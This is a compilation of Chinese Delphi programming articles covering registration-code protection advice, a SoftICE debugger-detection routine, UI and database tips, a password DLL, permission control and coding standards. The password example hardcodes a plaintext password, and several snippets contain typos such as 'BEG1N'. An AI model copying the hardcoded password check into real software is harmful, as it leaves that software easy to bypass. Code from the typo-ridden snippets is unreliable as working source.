在安全，可行性，可编程性和最终用户的头痛间寻求平衡。 太长的，无字母的注册码可能造成连续的输入错误。考虑要求输入确认域（多数是口令），或者至少提供一个“不固定”的注册码输入域，以便用户可以每次重写注册码，也许最后正确的输入了。许多人会仅仅“瞥一眼”以比较输入的注册码和他们所收到E-Mail里的注册好，他们最终认为，他们输入了正确的注册码。但是字体太小或者他们懒得注意到底“I”和“1”被交换了位置（就像'l83jjd_0)pH1lTe' )。 根据不同用户的反馈，注册码输入区必须无限制的接受任何长度的信息。不要让破解者了解你的注册码的类型——如果你采取“在线确认（online-verification）”并显示它有10个字符长或只接受大写字母将给予他们帮助——不要这样做！ 计算潜在用户的数量！没有比这样的事更坏的了：你把用户数限制在9，999，你不希望有第10，000个用户，因为如此你就必须升级你的注册码以满足这第1，000个用户。 如果你的注册码有10位，可能有10^10个注册码。但是，你的应用程序可能只允许10^4（10，000）个用户，你必须采取某种算法使10^4个用户每人一个得到10^10个注册码中一个。这保护了用户和你的应用程序本身受到穷举攻击（就像一个使用VXD的宏播放器那样）。如果只有10^4个用户，而你定义了10^9个合法的注册码，那么平均每试10次，就会有一个“合法”的注册码。然而，在预期只有10^4的情况下，平均每10^6次才会成功。即使是使用高速的计算机和极快的宏播放器（击键模拟输入注册码），要在10^6中寻找到需要的注册码所花费的时间也是无法计算的。 从用户名（User name）到注册码（Registeration code）不应该只有简单的运算，它必须是有既精通数学又精通汇编语言的人用汇编语言实现（记注，Delphi仍然允许你直接使用汇编（ASM）代码）！然后，检查你的操作，绘制流程图，了解它是如何工作的。要彻底了解你自己的工作，特别是它的不足之处。 要有创新意识，不要用任何看起来简单、迅速、有效的东西，除非你信奉类似爱因斯坦的相对论的学说。你的方法的确是简单，也的确是迅速，但是绝对不是有效，的确是容易被破解。我十分抱歉，我并非天才，没有找到一种行之有效的保护方案能维持太长时间。

只是些想法:) Richey


判断softice是否在运行

//SoftIce in W9x OS
function IsSoftIce95Loaded: boolean;
var
hFile: Thandle;
begin
result := false;
hFile := CreateFileA('\.SICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
end;

// SoftIce in NT/2000 OS
function IsSoftIceNTLoaded: boolean;
var
hFile: Thandle;
begin
result := false;
hFile := CreateFileA('\.NTICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if IsSoftIce95Loaded or IsSoftIceNTLoaded then
begin
//Do something if Softice is loaded
end;
end;


技巧集锦

Delphi经验技巧集锦

---- 一.为列表框添光彩

---- 为了改变Listbox和Combobox两个控件的单调风格， 我想在它们的每一项前面加上个图标。从表面上看好像不大可能啦。就在走投无路的时候，我忽然发现这两个构件都有一个style属性， 它可以设为lbOwnerDrawFixed，Draw这个单词吸引了我，然后我又从Delphi的在线帮助中找到了一个相关的事件OnDrawItem，在这个事件中写一段代码，就可以在列表框中的每一项前面添加一个小图标啦。

---- 下面是在Listbox 的OnDrawItem事件中添加的代码：

procedure TForm1.ListBox1DrawItem(Control:
 TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
Bitmap: TBitmap;
Offset: Integer;
begin
with (Control as TListBox).Canvas do
begin
FillRect(Rect);
Offset := 2;
Bitmap := TBitmap.create;
Bitmap.LoadFromFile(′d:\temp1\1.bmp′);
 //指定图文件是d:\temp1\1.bmp
BrushCopy(Bounds(Rect.Left ＋ 2, Rect.Top,
 Bitmap.Width, Bitmap.Height),
Bitmap, Bounds(0, 0, Bitmap.Width,
 Bitmap.Height), clRed);
Offset := Bitmap.width ＋ 6;
TextOut(Rect.Left ＋ Offset, Rect.Top,
(Control as TListBox).Items[Index])
end;
end;
---- 进一步，利用OnDrawItem事件的参数Index还可以在不同项前面添加不同的图标。还要告诉你的是， 当用add方法为列表框或下拉框添加项目时， 会自动执行 OnDrawItem事件，这样新添加的项目前面也就有了一个图标。

---- 二.获取count值

---- Delphi与Power Builder一样，都提供了SQL语言，来实现对数据库的访问，仅仅是实现语句的长短不同。Delphi是在Pascal语言基础之上发展起来的，它提供了强大的功能，各种控件提供了丰富的属性和方法。我们应该充分利用这些属性和方法。要想知道某数据库的记录数， 用一个简单的语句即可完成。例如求Delphi的DBDemos数据库中表 day.db的记录总数，假设Table控件已加到Form上，具体实现语句为：

Edit1.text:=inttostr(Table1.recordcount);
如果是要知道符合某条件的记录数，也非常方便，具体实现语句为：
Edit1.text:=inttostr(Query1.recordcount);
Recordcount属性用来表示为数据集相连的表的记录总数。
还有一种通用的方法，具体实现语句为：
VAR i:integer;
Begin
i:=0;
Table1.open;
Table1.First;
While not Table1.eof do
BEG1N
i:=i＋1;
Table1.next;
End;
Edit1.text:=inttostr(i);
如果使用了TQuery控件，具体步骤如下：
Query1.close;
Query1.SQl.clear;
query1.SQL.add (′ ...... ′);
//某查询语句
Query1.open
Query1.first;
i:=0;
While not Query1.eof do
BEG1N
i:=i＋1;
Query1.next;
EnD
Edit1.text:=Inttostr(i);
---- 三.给数据库报表加上网格线

---- Delphi 1.0和2.0版捆绑了Reportsmith报表制作工具，实现报表打印。如果打印一个很简单的报表，在程序中启动Reportsmith，就显得比较麻烦。对于比较简单的报表，我们一般按本报63期相应文章的方法实现报表打印。例如，用Delphi 1.0编写的商业财务软件《保灵商务营销管理系统》中报表打印就是自主开发的，整个系统显得短小、整体性比较好。Delphi 3.0和Delphi 4.0就不再捆绑Reportsmith，但增加了QReport组中报表控件的功能， 使得报表制作更加灵活。给报表加上网格线就太容易了。在QReport 组件中用来显示数据的TQRExpr。 它就有一个Frame属性, 按下 F11键， 在 “Object inspect”中，修改“Frame”属性,它提供7个子属性，其功能如下：

Color 显示网格线颜色
Style 报表网格线的形状，如实线、虚线等
Width 网格线的宽度
DrawBottom 网格的底部
Drawlefl 网格的左边
DrawRight 网格的右边
DrawTop 网格的底部
---- 在制做报表前，最好在数据库表中添加几个记录，然后根据需要修改这些属性，使用报表的预览功能在设计期间看修改效果，不满意可立即修改。

---- 四.定制Speedbar

---- 在Delphi的可视化设计界面中，使用最频繁的地方要数位于屏幕左上角的加速按钮栏（Speedbar）了。在实践过程中，笔者无意中发现了Speedbar的定制方法，这在我用过的四本Delphi参考书中均未提及到。步骤如下：

---- 右键点击Speedbar， 在弹出菜单中选Properties， 这时会出现一个名为Speedbar Editor的对话框。假设想要增设一项“语法检查”的功能，可在左边Categories列表框中选Project， 再把右侧的Syntax Check图标拖放到Speedbar的合适的位置上，这项功能就已经加上了。 如果speedbar上没有多余的空间来容纳新的按钮， 可将鼠标停在 speedbar右框处，变为双向箭头的形状时，向右拖动一段距离，就可腾出空间。如想删除speedbar上的某个按钮，可简单地把它拖出speedbar的范围，就能删除。操作十分方便。 建议把Syntax Check、 Project Options（工程选项） 、 WindowsApi Help加到 Speedbar中，可以提高开发效率。

---- 五.设计Form时的快捷键

---- 使用快捷键可以加快设计速度。下面列出的快捷键，可根据实际情况，有选择地熟练掌握。

    Del :删除所选组件；
    Esc :选择当前组件的容器（通常是Panel,Group或Form）；
    F11 :在Form或Unit和对象检查器之间切换；
    F12 :在Form和代码编辑器间切换；
    Ctrl＋F12 :显示“查看Unit”对话框；
    Shift＋F12 :显示“查看Form”对话框；
    TAB :下一个组件;
    Shift＋TAB :上一个组件;
    方向键 :选中此方向上最近的组件;
    Ctrl＋方向键 :将所选组件移动一个点;
    Shift＋方向键 :将所选组件改变一个点的大小;
    Ctrl＋Shift＋方向键 :将所选组件移动一个格;
    Shift＋click :按住Shift键再用鼠标点击组件，可以选择多个组件。
---- 下面这条是我摸索出来的： Ctrl＋drag :按住Ctrl键在一个容器组件（如Panel,QReport,Groupbox等）里拖动鼠标，可强制选择鼠标拖过的矩形框中的所有属于此容器的可视组件（不包括该容器组件）。

---- 六.命令行参数的使用

---- Delphi提供了访问命令行参数的方便的方式，那就是使用ParamStr和ParamCount函数。其中ParamStr(0)返回的是当前程序名，如C:\TEST\MYPROG.EXE，ParamStr(1)返回第一个参数，以此类推；ParamCount则是参数个数。示例如下:

    var
    I: Word;
    Y: Integer;
    begin
     Y := 10;
     for I := 1 to ParamCount do begin
     Canvas.TextOut(5, Y, ParamStr(I));

     Y := Y ＋ Canvas.TextHeight(ParamStr(I)) ＋ 5;
     end;
    end;
---- 七.DCU文件（编译的库单元）的重用

---- (1)在interface里的uses子句中引用。如Windows,Dialogs等，要求被引用的DCU一定要放在Delphi4\Lib子目录中。

---- (2)在implementation里的uses子句中引用。如果是自行编写的DCU文件，应采用这一方式，并将被引用的DCU文件放入当前工程所在的子目录中。

---- 八.使用字符串资源的技巧

---- 不同于其它资源，字符串资源不能直接编辑，需要先按格式编制一个文本文件，再用程序将其编译成资源文件。下面用一个简单的例子来说明。首先用文本编辑器编一个文件lb.rc，其内容如下：

STRINGTABLE
BEGIN
1,"开始"
2,"退出"
END
---- 然后， 找到Delphi的Bin子目录下的BRCC32.EXE文件进行编译， 命令格式为： BRCC32 LB.RC，编译结束后即生成一个资源文件lb.res。要使用该资源文件，需要在单元文件implementation部分的开始处包括资源文件：{＄R LB.RES}。在本例中，上面的字符串用于给一个命令按钮更换Caption设置， 使用的函数是Windows API函数 LoadString，以下是使用实例：
//在FormCreat过程中：
var
txtCaption:array [0..255] of char;
begin
//
if LoadString(HInstance,1,txtCaption,SizeOf
(txtCaption))〉0 then
btnStart.Caption:=StrPas(txtCaption);
end;
//在btnStartClick过程中：
var
txtCaption:array [0..255] of char;
begin
if LoadString(HInstance,2,txtCaption,
SizeOf(txtCaption))〉0 then
btnStart.Caption:=StrPas(txtCaption);
end;
---- 这样就可以在程序运行时改变各种属性，而不需要在程序中出现字符串。如果使用另一个Delphi函数LoadStr，会显得更加简单：
var
txtCaption:String;
begin
txtCaption:=LoadStr(2);
if txtCaption〈〉′′ then
btnStart.Caption:=txtCaption;
end;
---- 或许大家可以从以上的过程中看出， 使用123来标识一个字符串有些简陋，也很容易出错，那么怎么办呢?我们可以采取像C＋＋中使用字符串的方法，为每个字符串预定义一个ID，如：
    const
    IDC—START=1;
    IDC—EXIT=2;
---- 当然要把它放在一个unit里（类似于C＋＋的.h文件） ，在使用的单元里再uses一下就可以了，这样应用感觉是不是很爽呢？
    txtCaption:=LoadStr(IDC—EXIT);
---- 九.让图像旋转

---- Delphi中的Image构件可以显示位图，进一步，我们还可以用它完成位图旋转。

---- 把一个点绕原点旋转α角度后，新的坐标位置与原坐标位置的关系是：

    X=xcosα－ysinα
    Y= xsinα＋ycosα
例如要把位图顺时针旋转90度，坐标变换公式为：X=－y Y=x
---- 把这一公式用到Image构件上，显示位图的主要问题是Image构件显示的位图只有一个象限， 并且x、y坐标也是互相颠倒的，为了解决这个问题，必须在Image构件上建立一个新的坐标原点。下面就举例说明。

---- 1. 新建一工程project1, 在form1上添加image1、 image2、 image3、image4，其 Autosize属性设为True, image1用来显示原图，image2、image3、image4分别用来显示旋转90度、180度和270度后的图像。双击image1，选定一幅bmp图。

---- 2. 添加Button1、Button2、Button3和Button4按钮，其caption属性分别为“原图”、 “旋转90度”、“旋转180度”、“旋转270度”。

---- 3. 编写“旋转90度”按钮的On Click事件。

procedure TForm1. Button2Click (Sender: TObject);
var
i,j:integer;
begin
//确定旋转后位图的大小
image2.Picture.Bitmap.Height:=image1.picture.width;
image2.Picture.Bitmap.Width:=image1.picture.height;
for i:=0 to image1.Height do
for j:=0 to image1.Width do
image2.canvas.Pixels[(－i＋ image1.Height),
j]:=image1.canvas.Pixels[j,i];
end;
---- 4. 编写“旋转180度”按钮的On Click事件。
procedure TForm1.Button3Click(Sender: TObject);
var
i,j:integer;
begin
//确定旋转后位图的大小
image3.Picture.Bitmap.Height:=image1.picture.Height;
image3.Picture.Bitmap.Width:=image1.picture.Width;
for i:=0 to image1.Height do
for j:=0 to image1.Width do
image3.canvas.Pixels[(image1.Width
－j),(image1.Height－i)]:=image1.canvas.Pixels[j,i];
end;
---- 5. 编写“旋转270度” 按钮的On Click事件。代码和步骤3相似，只需要用image4 替换image2，然后用以下的语句替换步骤3 for循环中的原有的语句。
image4.canvas.Pixels[i,(image1.Width－j)]:=image1.canvas.Pixels[j,i];
---- 十.编程实现文件关联

---- 文件关联的目的是要实现某种扩展名的文件由相应的应用程序来打开，对于编写的应用软件来说，由于一般都有设计者特定的扩展名的数据文件，软件编制者应在程序中实现自动关联而不能由用户手工去实现。下面给出实现文件关联的实用程序。

---- 实现文件关联的核心是对注册表的操作， 所有的文件关联都在HKEY—CLASSES— ROOT 下面， 要实现文件关联必须在HKEY—CLASSES—ROOT 中增加两个键值，一是和文件扩展名对应的类型说明，二是对这种类型文件的操作所需要执行的应用程序。下面举例说明，本例实现将扩展名为.xyz的文件定义为“我自己的文件”类型，双击此种类型的文件时执行的打开功能使用记事簿程序。 实现这一功能需要用到Delphi中的函数 RegCreateKey、RegSetValue。实现如下：

---- 在窗体中放置一个按钮，双击按钮写如下代码：

procedure TForm1.Button1Click(Sender: TObject);
var
lphKey: HKEY;
sKeyName: string;
sKeyValue: string;
begin
sKeyName := ′myfile′;
sKeyValue := ′我的文档′;
RegCreateKey(HKEY—CLASSES—ROOT,
 pchar(sKeyName), lphKey);
RegSetValue(lphKey, ′′, REG—SZ,
pchar(sKeyValue), 0);
sKeyName := ′.xyz′;
sKeyValue := ′myfile′;
RegCreateKey(HKEY—CLASSES—ROOT,
 pchar(sKeyName), lphKey);
RegSetValue(lphKey, ′′, REG—SZ,
 pchar(sKeyValue), 0);
sKeyName := ′myfile′;
sKeyValue := ′c:\Windows\NotePad.exe ％1′;
RegCreateKey(HKEY—CLASSES—ROOT,
pchar(sKeyName), lphKey);
RegSetValue(lphKey, ′shell\open\command′, REG—SZ,
pchar(sKeyValue), MAX—PATH);
end;
---- 建立一新文件，使其扩展名为.xyz，然后双击它看是否是启动记事簿来打开的。

---- 十一.在一个Dbgrid中显示多数据库

---- 在数据库编程中，不必要也不可能将应用程序操作的所有数据库字段放入一个数据库文件中。正确的数据库结构应是：将数据库字段放入多个数据库文件，相关的数据库都包含一个唯一的关键字段，在多数据库结构里可以建立联系。

---- 例如：要编制一个人事管理程序，为简化演示程序，只建立两个数据库，每个数据库都只建立两个字段。

---- 个人简介 jianjie.dbf，由人事处维护；工资情况 gongzi.dbf，由财务处维护。

---- 1.数据库的建立

    进入DataBase Desktop，建立数据库结构如下：
    jianjie.dbf
    编号 字段名:bianhao size:4 type:number
    姓名 字段名:xingming size:10 type:character
    gongzi.dbf
    编号 字段名:bianhao size:4 type:number
    工资 字段名:gongzi size:4 Dec 2 type:number
---- 注意： 两个数据库的bianhao字段的size、type必须一致。实际上，两数据库文件可以分布在网络的不同计算机上，为便于演示，分别存为″c: \test\jianjie.dbf″和 ″c:\test\gongzi.dbf″。

---- 2.应用程序的编制

---- 启动Delphi， 新建一个工程，在窗体中加入Query控件Query1，databasename属性设为c:\test；

---- 加入DataSource控件datasource1， DataSet属性设为Query1； 加入DbGrid控件 dbgrid1，DataSource属性设为DataSource1，将Query1.sql属性设为

SELECT DISTINCT A.bianhao,a.xingming, b.gongzi
FROM ″jianjie.dbf″ A, ″gongzi.DBF″ b
WHERE A.bianhao=b.bianhao
---- 再将Query1.enabled属性设为True， 不用编译， DbGrid1就会显示: bianhao， xingming， gongzi三个字段。如果jianjie.dbf和gongzi.dbf中有记录，则记录会显示出来。因篇幅所限，此文只介绍了Dbgrid中显示多个数据库内容的一般方法，读者可在此基础上进行完善，使该方法更好地适应您的需要。


利用Dll实现通用密码验证框

---- 在我们编制Delphi应用程序，常常需要提供一个密码验证框，对应用程序的使用者进行身份核对。如果能有一个通用的密码验证框，便能够为我们的工作节约不少的时间，更能使我们编制的程序小而快。以下的程序为你提供了这样的一个DLL文件。

//文件名为CheckPasswordForm.dpr;
编译此文件生成CheckPasswordForm.dll
library CheckPasswordForm;

uses
XcqCheck in 'XcqCheck.pas' {XcqForm};

exports
CheckPassword name 'CheckPassword';//dll入口

begin
end.

//文件名为XcqCheck.pas
unit XcqCheck;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
StdCtrls, Mask, Menus;

type
TXcqForm = class(TForm)
XcqEdit: TMaskEdit;//密码输入框
OkBtn: TButton;
procedure OkBtnClick(Sender: TObject);
end;

var
XcqForm: TXcqForm;
Check: Boolean;//验证输入密码的正确性
function CheckPassword: Boolean;export;
//本dll文件的关键实现

implementation

{$R *.DFM}

procedure TXcqForm.OkBtnClick(Sender: TObject);
begin
if XcqEdit.Text = 'xcq' then
Check := True;
Close;
end;

function CheckPassword;export;
begin
Check := False;
XcqForm := TXcqForm.Create(Application);
//创建密码输入框
XcqForm.ShowModal;//显示密码输入框;
注意：不能用XcqForm.Show!
Result := Check;//返回给调用本dll的应用程序判断
XcqForm.Free;//释放本dll文件所占资源
end;
end.

---- 在调用以上dll中CheckPassword函数的应用程序中只需加入以下语句在implementation 后，function CheckPassword: Boolean; external 'CheckPasswordForm.dll' name 'CheckPassword';在需要进行密码验证的地方加入下面的条件语句就完全实现了密码验证的功能。
if CheckPassword then
begin
...//如XcqQuery.Open;
end;

---- 上面的程序只是一个简单的密码验证框，我们可以将密码以写入注册表或文件的方式保存，动态修改，更可以利用算术算法对密码进行简单的加密等，使要保密的数据更安全。
---- 其实，上文中如何在dll中实现窗口让我走了不少弯路，我觉得此法对大家更有意义，这是避免程序庞大的一种有效方法，不妨试试。


为应用软件加入全面的功能权限控制

如何为应用软件加入全面的功能权限控制

关键词：Delphi - MIS

如何为应用软件加入全面的功能权限控制

在软件开发中，为软件加入权限控制功能，使不同的用户有不同的使用权限，是非常重要的一项功能，由其在开发数据库方面的应用，这项功能更为重要。但是，要为一个应用加入全面的权限控制功能，又怎样实现呢？笔者在软件开发过程中，曾被此问题困挠过。大家知道，现在的应用，一般均以菜单访问功能的形式出现，按照常规的做法，只要让注册进入应用的不同用户，可以访问不同的功能菜单，从而实现功能权限的控制，但是，有这样一个问题，此种方法便无能为力，现在的应用软件，为了提高软件的易操作性，同一功能可能有多种不同的访问方式，如工具条，右键菜单等；同样，同一个功能，也可能在软件的不同地方被调用，而不仅仅被限制为用程序的主菜单来调用，这样，才能保证应用的易用性。写到这，问题已经非常清楚，对于要限制的软件功能，仅通过一次代码设计，无论在整个应用的任何地方或通过何种形式调用此功能，都能被功能权限所限制。

最近，笔者利用Delphi平台作应用开发时，通过Delphi4提供的VCL控件解决了这一问题。在了解如何实现功能权限控制之前，得先看一下Delphi4提供的新控件TActionList，通过TActionList,应用程序可以统一管理其TAction,这里的Action,可以理解为应用程序的功能。在应用的设计期间，可以通过TActionList编辑器将功能(Action)加入TActionList,将Action加入TActionList后，就可能通过Object Inspector设置Action的属性或为其建立事件句柄。在这里，我们可以用Action的OnExecute事件句柄实现具体的功能，如下代码来显示一个操作窗体：

procedure TfrmMain.SetUserExecute(Sender: TObject);

begin

frmUser.showModal;

end;

当要限定这一功能时，可能利用TAction的Enabled,将其设为False,此功能对于用户将被屏蔽掉，如果要此功能对用户不可见，则可以设定Visible为False。

当成功能的建立了TActionList后，可能有人问，如果使用其中的Action，其实，在Delphi4中，象TButton、TMenuItem、TSpeedButton、TRadioButton等控件，均有一个属性Action,正是通过它，我们可以将Menu或Button连接到TActionList中TAction,从而实现功能按钮或菜单的功能。

在理解了Delphi中的TActionList及TAction之后，就可以看看功能权限的具体实现方法。

第一步，建立两张表，一张表存储用户信息，另一张表存储权限定义。

用户信息表User结构如下：

字段名称
类型
字段说明

UserID
String
用户的ID号，为表关键字

UserName
String
用户名称

UserPassWord
String
用户口令

UserRight表结构如下：

字段名称
类型
字段说明

UserID
String
用户的ID号，为表关键字

ActionCaption
String
存储功能的名称，即Action的Caption属性值

ActionEnable
Boolean
存储功能是否可以访问，即Action的Enable 属性值

ActionVisible
Boolean
存储功能是否可见，即Action的visible属性值

第二步，增加用户时填加用户功能权限

当向User表中增加用户时，需要向UserRight中增加功能设置记录，先看看下面的实现代码：

procedure TfrmUser.N1Click(Sender: TObject);

var

i:Integer;

Action:TAction;

begin

//Add Action into user right cds.

with frmMain do begin

for i:=0 to ActionList1.actioncount-1 do begin

Action:=ActionList1.Actions[i];

cdsUserRight.AppendRecord([cdsUser.FieldByName('userName').AsString,TAction(Action).Caption,TAction(Action).Enabled,i]);

end;

end;

end;

在这段代码中，用到了TActionList的两个属性，一个是ActionCount,另一个是Actions。ActionCount表示TactionList中有多少功能，即Action,Actions是一个数组属性，通过索引可能访问每一个TAction,从而可以设置其具体的属性，象上面提到的Enable及Visible，从而达到限制的目的，通过这段代码，将应用程序的所有功能都加入了UserRight表中。

第三步，可以用Grid对上一步产生的表进行编辑操作

第四步，利用第二、三步产生的功能限制表UserRight，限制用户的权限，这可以在应用程序的主窗体的OnCreate 中实现。

procedure TfrmMain.FormCreate(Sender: TObject);

const

testUser='yh';

var

cdsRight:TClientDataSet;

i:Integer;

begin

//set right of function

cdsRight:=TClientDataSet.Create(self);

try

cdsRight.LoadFromFile('Right.CDS');

cdsRight.AddIndex('id','UserName;ActionCaption',[],'','',0);

cdsRight.IndexName:='id';

for i:=0 to ActionList1.ActionCount-1 do begin

if cdsRight.FindKey([TestUser,TAction(ActionList1.Actions[i]).Caption]) then

TAction(ActionList1.Actions[i]).Enabled:=cdsRight.FieldByName('ActionEnable').AsBoolean;

end;

finally

cdsRight.Close;

cdsRight.Free;

end;

end;

这段代码中，假设当前的用户ID为yh,同时只设定了功能的Enable属性。

最后，笔者为了演示功能权限的设定功能，制作了demo程序，感兴趣者可以向作者索取。在demo程序中，同时还使用了内存表ClientDataSet的使用方法，不用BDE建立瘦数据库应用程序。


建立回调函数

type
TCallBackFunction = function(s: string): integer;
CallMe(s: string): integer;

procedure TestCallBack(CallBackFunction: TCallBackFunction); far; external 'Other';
{ Note that 'other' is a Dll containing the procedure TestCallBack }

function CallMe(s: PChar): integer;
begin
{ what ever you need
to do }
CallMe := 1; { What ever you need to return }
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
TestCallBack(CallMe);
end;

type
TMainFunction = function(s: string): integer;
TestCallBack(MainFunc: TMainFunction);
{ in library Other implementation }
TestCallBack(MainFunc: TMainFunction);
var
result: integer;
begin
result:=MainFunc('test');
end;


编码标准文档

Delphi 4 开发指南 —— 编码标准文档

版权所有 ?1998 Xavier Pacheco 及 Steve Teixeira
翻译 2000 李颖(e.w@263.net)

Delphi 4 开发指南主页

导言

一般源代码格式规范

缩进
页宽
Begin..End 对

Object Pascal 语言

括号
保留字和关键字
过程和函数 (子程序)
变量
结构类型
数组类型
记录类型

语句
if 语句
case 语句
while 语句
for 语句
repeat 语句
with 语句

结构化的意外处理
概要
try..finally 的使用
try..except 的使用
try..except..else 的使用

类(Classes)
域(Fields)
方法(Methods)
静态方法(Static Methods)的使用
虚/动态方法(Virtual/Dynamic Methods)的使用
抽象方法(Abstract Methods)的使用
属性访问方法(Property Access Methods)

属性(Properties)
命名规则
访问方法的使用

文件

工程(Project)文件
窗体(Form)文件
数据模块(Data Module)文件
远程数据模块(Remote Data Module)文件
单元(Unit)文件
一般单元结构
单元名称
Uses 子句
Interface 部分
Implementation 部分
Initialization 部分
Finalization 部分

窗体单元
数据模块单元
一般用途单元
组件(Component)单元
文件头

窗体和数据模块

窗体
窗体类型命名标准
窗体实例命名标准
自动创建窗体
模式化(Modal)窗体实例函数
数据模块
数据模块命名规则
数据模块实例命名规则

包(Packages)

运行期(Runtime)和设计期(Design)包的使用
文件命名规则

组件(Components)

用户自定义组件
组件单元
注册(Registration)单元的使用
组件实例命名约定
组件前缀
Standard 页面
Additional 页面
Win32 页面
System 页面
Internet 页面
Data Access 页面
Data Controls 页面
Decision Cube 页面
QReport 页面
Dialogs 页面
Win31 页面
Samples 页面
ActiveX 页面
Midas 页面

导言

本文档将描述 Delphi 4 开发指南 中使用的Delphi程序代码书写规范.
一般情况下, 本文档遵循 Borland 公司"未明确说明"的编码格式规范, 少数情况下也有例外.
在 Delphi 4 开发指南 中包括本文档是为了向读者介绍一种在合作开发中保持代码风格一致的方法.
目的是为了保证开发队伍中的所有程序员都能够理解其他人编写的代码.
实现这一目的的方法是通过保持代码的一致性来增强其可性.

本文档无法包罗万象, 因此可能对于你不够详细. 你可以使用并修改这些标准以适应你自己的需要.
但我们仍建议你不要与 Borland 开发组使用的标准偏离得太多.
我们提出这些建议, 是因为当你的开发队伍中加入新程序员时, 他们最熟悉的很可能就是 Borland 标准.
和大多数编码规范文档一样, 本文档将根据需要继续更新.
因此, 你可以在 www.xapware.com/ddg 在线得到最新版本.
本文档不会包括 用户界面标准. 这是一个不同的但同样重要的主题.
大量的第三方书籍和 Microsoft 文档都包括了这些指南, 因此我们决定不再重复这些信息,
而是将你指引到 Microsoft Developers Network 和其他信息来源.

一般编码格式规范

缩进

缩进应该是每行2个空格. 不要在源文件中保存Tab字符.
在使用不同的源代码管理工具时Tab字符将因为用户设置的不同而扩展为不同的宽度.

你可以禁止保存Tab字符, 方法是通过 Tools | Environment 菜单打开 Environment Options 对话框,
然后在 Editor 页中关闭 "Use tab character" 和 "Optimal fill" 选项.

页宽

页宽应该设置为80字符. 源代码一般不会超过这个宽度, 并导致无法完整显示,
但这一设置也可以灵活调整.
在任何情况下, 超长的语句应该在一个逗号或者一个操作符后折行.
一条语句折行后, 应该比原来的语句再缩进2个字符.

Begin..End 对

begin 语句应该单独作为一行. 例如, 下面的第1行是错误的, 第2行是正确的:

for I := 0 to 10 do begin // 错误, begin 和 for 在同一行
for I := 0 to 10 do
// 正确, begin 单独作为一行
begin

当 begin 作为 else 子句的一部分时例外, 比如:

if some statement = then
begin
...
end
else begin
SomeOtherStatement;
end;

end 语句永远单独作为一行.

如果 begin 语句不是 else 子句的一部分,
相应的 end 语句应该缩进到与 begin 对齐的位置.

Object Pascal 语言

括号

左括号和后一个字符之间不应该出现空格, 同样, 右括号和前一个字符之间也不应该出现空格.
下面的例子说明括号和空格的错误及正确使用:

CallProc( AParameter ); //
错误
CallProc(AParameter); // 正确

不要在语句中使用无意义的括号. 括号只应该为达到某种目的而出现在源代码中.
下面的例子说明错误和正确的用法:

if (I = 42) then
// 错误 - 括号毫无意义
if (I = 42) or (J = 42) then // 正确 -
的确需要括号

保留字和关键字

Object Pascal 语言保留字和关键字应该完全小写.

过程和函数(子程序)

命名规则

子程序名应该以大写字母开头, 而且应该易于阅读.
下面是一个正确格式的子程序名:

procedure
thisisapoorlyformattedroutinename;

下面是一个首字母适当大写的子程序名:

procedure ThisIsMuchMoreReadableRoutineName;

子程序名应该具有与其用途相关的含义.
导致发生某动作的子程序应该以动词为前缀命名, 例如:

procedure FormatHardDrive;

为输入参数赋值的子程序应该以 Set 为前缀命名,例如:

procedure SetUserName;

取回数值的子程序应该以 Get 为前缀命名, 例如:

function
GetUserName: string;

形参(Formal Parameters)

格式

在可能的情况下, 同类型的形参应该在一条语句中说明:

procedure
Foo(Param1, Param2, Param3: Integer; Param4: string);

命名

所有的形参名称应该具有与其用途相关的含义, 而且不应该基于传递到子程序的标识符名称.
适当情况下, 参数名应该以字符 A 为前缀, 例如,

procedure SomeProc(AUserName: string;
AUserAge: integer);

使用前缀 "A" 是一种约定, 以便参数名与类的属性名、域名重复时消除歧义.

参数顺序

下面的形参顺序主要是为在寄存器模式下得到更高的性能, 寄存器模式是惯用的调用模式.

调用者最常使用的参数应该在参数的最前位置,
使用越少的参数, 其位置应该越在右面.

输入参数队列应该在输出参数队列的左面.

最抽象参数应该在最精确参数的左面, 例如: SomeProc(APlanet, AContinent, ACountry, AState, ACity).

参数顺序规则也可能出现例外情况, 比如事件响应程序(event handlers),
名为 Sender 的 TObject 类型参数通常作为第一个参数.

常数参数(Constant Parameters)

当 记录, 数组, ShortString, 或 接口(interface)类型参数在子程序中不被修改,
则相应的形参应该标识为 Const. 这将确保编译器产生最高效的代码来传递这些不被修改的.

其他类型的参数如果在子程序中不被修改, 也可以标识为 Const.
虽然不能提高效率, 但至少为子程序的调用者提供了更多关于参数使用的信息.

命名冲突

如果引用的2个单元中包含同名子程序, 则实际调用的将是在 uses 子句中位置最后的单元中的子程序.
为了避免这种与 uses 子句相关的语意不明(uses-clause-dependent ambiguities),
应该用单元名作为前缀来指明所调用的子程序, 例如:

SysUtils.FindClose(SR);

或

Windows.FindClose(Handle);

变量

变量命名和格式

变量名称应该具有与其用途相关的含义.

循环控制变量可以命名为单个字母, 比如 I, J, 或 K.
也可以是更有意义的名称, 比如 UserIndex.

Boolean 变量名称必须描述得足够详细, 保证其 True 和 False 取值具有清楚的含义.

局部变量

在过程内使用的局部变量与其他变量一样, 遵循相同的用法和命名约定.
临时变量应该适当地命名.

如果必要, 局部变量的初始化应该在子程序入口处立即进行.
AnsiString 变量自动初始化为空字符串,
interface 和 dispinterface 类型变量自动初始化为 nil,
Variant 和 OleVariant 类型变量自动初始化为 Unassigned.

全局变量的使用

使用全局变量不是好习惯, 但也有可能必须使用全局变量.
如果是这样, 建议你尽量保持全部变量在它可用的范围内与上下文相关.
例如, 一个全局变量可能只在某个单元的 implementation 部分可用.

打算供几个单元公用的全局数据应该移到一个公用单元中.

全局数据可以在 var 部分用一个值立即初始化.
注意, 所有的全局数据初始状态下都自动归零, 因此不要将全局变量初始化为"空"值,
比如 0, nil, '', Unassigned 等等.
全局数据自动归零的原因之一是因为初始状态为0的全局数据在 exe 文件中不占据空间.
